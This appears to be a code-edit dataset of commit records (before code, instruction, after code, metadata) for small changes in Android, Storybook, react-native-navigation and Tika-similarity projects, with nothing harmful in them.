## Code Before: package net.wequick.example.small.web.about; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import net.wequick.small.Small; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Small.openUri("file:///android_asset/index.html", MainActivity.this); finish(); } } ## Instruction: Fix the crash while running web.about module alone ## Code After: package net.wequick.example.small.web.about; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import net.wequick.small.Small; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Small.preSetUp(getApplication()); Small.setUp(this, null); Small.openUri("file:///android_asset/index.html", MainActivity.this); finish(); } }
82c58871829f210c1711845b388c5653a5af28ad
addons/docs/src/frameworks/html/config.tsx
addons/docs/src/frameworks/html/config.tsx
import React from 'react'; import { StoryFn } from '@storybook/addons'; export const parameters = { docs: { inlineStories: true, prepareForInline: (storyFn: StoryFn<string>) => ( // eslint-disable-next-line react/no-danger <div dangerouslySetInnerHTML={{ __html: storyFn() }} /> ), }, };
import React from 'react'; import { StoryFn } from '@storybook/addons'; export const parameters = { docs: { inlineStories: true, prepareForInline: (storyFn: StoryFn<string>) => { const html = storyFn(); if (typeof html === 'string') { // eslint-disable-next-line react/no-danger return <div dangerouslySetInnerHTML={{ __html: html }} />; } return <div ref={(node) => (node ? node.appendChild(html) : null)} />; }, }, };
Fix inline rendering for DOM nodes in HTML
Addon-docs: Fix inline rendering for DOM nodes in HTML
TypeScript
mit
storybooks/storybook,storybooks/react-storybook,storybooks/storybook,storybooks/react-storybook,storybooks/storybook,storybooks/storybook,kadirahq/react-storybook,kadirahq/react-storybook,storybooks/react-storybook,storybooks/storybook,storybooks/storybook,storybooks/storybook,storybooks/react-storybook
typescript
## Code Before: import React from 'react'; import { StoryFn } from '@storybook/addons'; export const parameters = { docs: { inlineStories: true, prepareForInline: (storyFn: StoryFn<string>) => ( // eslint-disable-next-line react/no-danger <div dangerouslySetInnerHTML={{ __html: storyFn() }} /> ), }, }; ## Instruction: Addon-docs: Fix inline rendering for DOM nodes in HTML ## Code After: import React from 'react'; import { StoryFn } from '@storybook/addons'; export const parameters = { docs: { inlineStories: true, prepareForInline: (storyFn: StoryFn<string>) => { const html = storyFn(); if (typeof html === 'string') { // eslint-disable-next-line react/no-danger return <div dangerouslySetInnerHTML={{ __html: html }} />; } return <div ref={(node) => (node ? node.appendChild(html) : null)} />; }, }, };
06ac02914eddad90e4aeeecce77727a02ea0c6c3
README.md
README.md
IaxsCore ======== Provides the core instance access interfaces and controller plugins for working with instances of whatever you so choose.
:warning: This repository is archived and exists only for historical purposes :warning: IaxsCore ======== Provides the core instance access interfaces and controller plugins for working with instances of whatever you so choose.
Prepare the repo to be archived
Prepare the repo to be archived
Markdown
bsd-3-clause
lightdatasys/iaxs-core
markdown
## Code Before: IaxsCore ======== Provides the core instance access interfaces and controller plugins for working with instances of whatever you so choose. ## Instruction: Prepare the repo to be archived ## Code After: :warning: This repository is archived and exists only for historical purposes :warning: IaxsCore ======== Provides the core instance access interfaces and controller plugins for working with instances of whatever you so choose.
cc87b8513b2e334e8bfd3a725ea6bf48170ce5e8
android/app/src/main/java/com/reactnativenavigation/controllers/SplashActivity.java
android/app/src/main/java/com/reactnativenavigation/controllers/SplashActivity.java
package com.reactnativenavigation.controllers; import android.graphics.Color; import android.os.Bundle; import android.support.annotation.Nullable; import android.support.v7.app.AppCompatActivity; import android.view.View; import com.reactnativenavigation.NavigationApplication; public abstract class SplashActivity extends AppCompatActivity { @Override protected void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); NavigationApplication.instance.startReactContext(); //TODO show fancy splash View view = new View(this); view.setBackgroundColor(Color.WHITE); setContentView(view); } }
package com.reactnativenavigation.controllers; import android.graphics.Color; import android.os.Bundle; import android.support.annotation.LayoutRes; import android.support.annotation.Nullable; import android.support.v7.app.AppCompatActivity; import android.view.View; import com.reactnativenavigation.NavigationApplication; public abstract class SplashActivity extends AppCompatActivity { @Override protected void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); NavigationApplication.instance.startReactContext(); setSplashLayout(); } private void setSplashLayout() { final int splashLayout = getSplashLayout(); if (splashLayout > 0) { setContentView(splashLayout); } else { setDefaultSplashLayout(); } } private void setDefaultSplashLayout() { View view = new View(this); view.setBackgroundColor(Color.WHITE); setContentView(view); } /** * * @return -1 if you don't need a splash layout */ public abstract @LayoutRes int getSplashLayout(); }
Add option to set custom splash layout
Add option to set custom splash layout
Java
mit
iotize/react-native-navigation,snapme/react-native-navigation,holmesal/react-native-navigation,uni-react/react-native-navigation,Ehesp/react-native-navigation,uni-react/react-native-navigation,Jpoliachik/react-native-navigation,Ehesp/react-native-navigation,MattDavies/react-native-navigation,Jpoliachik/react-native-navigation,shahen94/react-native-navigation,ceyhuno/react-native-navigation,varungupta85/react-native-navigation,brianjd/react-native-navigation,inalist/react-native-navigation,MattDavies/react-native-navigation,InTeach/react-native-navigation,BrendonSled/react-native-navigation,yusufyildirim/react-native-navigation,holmesal/react-native-navigation,MediaMonksMobile/react-native-navigation,eeynard/react-native-navigation,chicojasl/react-native-navigation,wix/react-native-navigation,wix/react-native-navigation,3sidedcube/react-native-navigation,guangmingzizai/react-native-navigation,lkj01010/react-native-navigation,okarakose/react-native-navigation,MattDavies/react-native-navigation,chicojasl/react-native-navigation,luggit/react-native-navigation,snapme/react-native-navigation,varungupta85/react-native-navigation,kristoff-it/react-native-navigation,brianjd/react-native-navigation,varungupta85/react-native-navigation,InTeach/react-native-navigation,BrendonSled/react-native-navigation,guangmingzizai/react-native-navigation,guangmingzizai/react-native-navigation,shahen94/react-native-navigation,brianjd/react-native-navigation,junedomingo/react-native-navigation,varungupta85/react-native-navigation,guyca/react-native-navigation,ceyhuno/react-native-navigation,shahen94/react-native-navigation,wix/react-native-navigation,lakhman/react-native-navigation,coteries/react-native-navigation,junedomingo/react-native-navigation,coteries/react-native-navigation,thanhzusu/react-native-navigation,luggit/react-native-navigation,3sidedcube/react-native-navigation,eeynard/react-native-navigation,eeynard/react-native-navigation,Ehesp/react-native-navigation,lkj01010/react-native-navigation,InTeach/react-native-navigation,ceyhuno/react-native-navigation,uni-react/react-native-navigation,thanhzusu/react-native-navigation,holmesal/react-native-navigation,ceyhuno/react-native-navigation,okarakose/react-native-navigation,coteries/react-native-navigation,kristoff-it/react-native-navigation,wix/react-native-navigation,thanhzusu/react-native-navigation,kristoff-it/react-native-navigation,MattDavies/react-native-navigation,ceyhuno/react-native-navigation,luggit/react-native-navigation,inalist/react-native-navigation,iotize/react-native-navigation,yusufyildirim/react-native-navigation,ceyhuno/react-native-navigation,pqkluan/react-native-navigation,okarakose/react-native-navigation,lakhman/react-native-navigation,Jpoliachik/react-native-navigation,junedomingo/react-native-navigation,MediaMonksMobile/react-native-navigation,Ehesp/react-native-navigation,guyca/react-native-navigation,coteries/react-native-navigation,junedomingo/react-native-navigation,guangmingzizai/react-native-navigation,brianjd/react-native-navigation,pqkluan/react-native-navigation,BrendonSled/react-native-navigation,iotize/react-native-navigation,wix/react-native-navigation,thanhzusu/react-native-navigation,chicojasl/react-native-navigation,chicojasl/react-native-navigation,pqkluan/react-native-navigation,iotize/react-native-navigation,InTeach/react-native-navigation,brianjd/react-native-navigation,lakhman/react-native-navigation,MediaMonksMobile/react-native-navigation,Jpoliachik/react-native-navigation,inalist/react-native-navigation,lakhman/react-native-navigation,guyca/react-native-navigation,snapme/react-native-navigation,3sidedcube/react-native-navigation,lkj01010/react-native-navigation,shahen94/react-native-navigation,snapme/react-native-navigation,uni-react/react-native-navigation,luggit/react-native-navigation,brianjd/react-native-navigation,holmesal/react-native-navigation,guyca/react-native-navigation,BrendonSled/react-native-navigation,yusufyildirim/react-native-navigation,inalist/react-native-navigation,eeynard/react-native-navigation,chicojasl/react-native-navigation,Jpoliachik/react-native-navigation,Jpoliachik/react-native-navigation,okarakose/react-native-navigation,thanhzusu/react-native-navigation,3sidedcube/react-native-navigation,yusufyildirim/react-native-navigation,thanhzusu/react-native-navigation,wix/react-native-navigation,MediaMonksMobile/react-native-navigation,pqkluan/react-native-navigation,kristoff-it/react-native-navigation,chicojasl/react-native-navigation
java
## Code Before: package com.reactnativenavigation.controllers; import android.graphics.Color; import android.os.Bundle; import android.support.annotation.Nullable; import android.support.v7.app.AppCompatActivity; import android.view.View; import com.reactnativenavigation.NavigationApplication; public abstract class SplashActivity extends AppCompatActivity { @Override protected void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); NavigationApplication.instance.startReactContext(); //TODO show fancy splash View view = new View(this); view.setBackgroundColor(Color.WHITE); setContentView(view); } } ## Instruction: Add option to set custom splash layout ## Code After: package com.reactnativenavigation.controllers; import android.graphics.Color; import android.os.Bundle; import android.support.annotation.LayoutRes; import android.support.annotation.Nullable; import android.support.v7.app.AppCompatActivity; import android.view.View; import com.reactnativenavigation.NavigationApplication; public abstract class SplashActivity extends AppCompatActivity { @Override protected void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); NavigationApplication.instance.startReactContext(); setSplashLayout(); } private void setSplashLayout() { final int splashLayout = getSplashLayout(); if (splashLayout > 0) { setContentView(splashLayout); } else { setDefaultSplashLayout(); } } private void setDefaultSplashLayout() { View view = new View(this); view.setBackgroundColor(Color.WHITE); setContentView(view); } /** * * @return -1 if you don't need a splash layout */ public abstract @LayoutRes int getSplashLayout(); }
c8b824c30aec6e7d361f757213353f220cc9fbd9
README.md
README.md
[Apache Tika](http://tika.apache.org/) Jaccard Based Image Similarity === This project demonstrates using the [Tika-Python](http://github.com/chrismattmann/tika-python) package (Python port of Apache Tika) to compute Image similarity based on Metadata features. The script currently iterates over all jpg images in the current directory and derives their metadata feature names, and computes the union of all feature names. The union of all feature names becomes the "golden feature set" that all image document features are compared to via intersect. The length of that intersect per image divided by the length of the unioned set becomes the similarity score. Scores are sorted in reverse (descending) order and then output in the sorted_scores array. License === This project is licensed under the [Apache License, version 2.0](http://www.apache.org/licenses/LICENSE-2.0). Use === 0. Install [Tika-Python](http://github.com/chrismattmann/tika-python) 1. git clone https://github.com/chrismattmann/tika-img-similiarity.git 2. move your jpg images into tika-img-similarity's folder 3. ./img_feature_similarity_tika.py
[Apache Tika](http://tika.apache.org/) Jaccard Based Image Similarity === This project demonstrates using the [Tika-Python](http://github.com/chrismattmann/tika-python) package (Python port of Apache Tika) to compute Image similarity based on Metadata features. The script currently iterates over all jpg images in the current directory and derives their metadata feature names, and computes the union of all feature names. The union of all feature names becomes the "golden feature set" that all image document features are compared to via intersect. The length of that intersect per image divided by the length of the unioned set becomes the similarity score. Scores are sorted in reverse (descending) order and then output in the sorted_scores array. License === This project is licensed under the [Apache License, version 2.0](http://www.apache.org/licenses/LICENSE-2.0). Use === 0. Install [Tika-Python](http://github.com/chrismattmann/tika-python) 1. git clone https://github.com/chrismattmann/tika-img-similiarity.git 2. move your jpg images into tika-img-similarity's folder 3. ./img_feature_similarity_tika.py 4. ./cluster-scores.py
Add in instructions for clustering.
Add in instructions for clustering.
Markdown
apache-2.0
YongchaoShang/tika-img-similarity,dongnizh/tika-img-similarity,harsham05/tika-similarity,RashmiNalwad/tika-similarity,RashmiNalwad/tika-similarity,dongnizh/tika-img-similarity,chrismattmann/tika-similarity,chrismattmann/tika-img-similarity,chrismattmann/tika-img-similarity,Lerex/tika-img-similarity,harsham05/tika-similarity,Lerex/tika-img-similarity,chrismattmann/tika-similarity,YongchaoShang/tika-img-similarity
markdown
## Code Before: [Apache Tika](http://tika.apache.org/) Jaccard Based Image Similarity === This project demonstrates using the [Tika-Python](http://github.com/chrismattmann/tika-python) package (Python port of Apache Tika) to compute Image similarity based on Metadata features. The script currently iterates over all jpg images in the current directory and derives their metadata feature names, and computes the union of all feature names. The union of all feature names becomes the "golden feature set" that all image document features are compared to via intersect. The length of that intersect per image divided by the length of the unioned set becomes the similarity score. Scores are sorted in reverse (descending) order and then output in the sorted_scores array. License === This project is licensed under the [Apache License, version 2.0](http://www.apache.org/licenses/LICENSE-2.0). Use === 0. Install [Tika-Python](http://github.com/chrismattmann/tika-python) 1. git clone https://github.com/chrismattmann/tika-img-similiarity.git 2. move your jpg images into tika-img-similarity's folder 3. ./img_feature_similarity_tika.py ## Instruction: Add in instructions for clustering. ## Code After: [Apache Tika](http://tika.apache.org/) Jaccard Based Image Similarity === This project demonstrates using the [Tika-Python](http://github.com/chrismattmann/tika-python) package (Python port of Apache Tika) to compute Image similarity based on Metadata features. The script currently iterates over all jpg images in the current directory and derives their metadata feature names, and computes the union of all feature names. The union of all feature names becomes the "golden feature set" that all image document features are compared to via intersect. The length of that intersect per image divided by the length of the unioned set becomes the similarity score. Scores are sorted in reverse (descending) order and then output in the sorted_scores array. License === This project is licensed under the [Apache License, version 2.0](http://www.apache.org/licenses/LICENSE-2.0). Use === 0. Install [Tika-Python](http://github.com/chrismattmann/tika-python) 1. git clone https://github.com/chrismattmann/tika-img-similiarity.git 2. move your jpg images into tika-img-similarity's folder 3. ./img_feature_similarity_tika.py 4. ./cluster-scores.py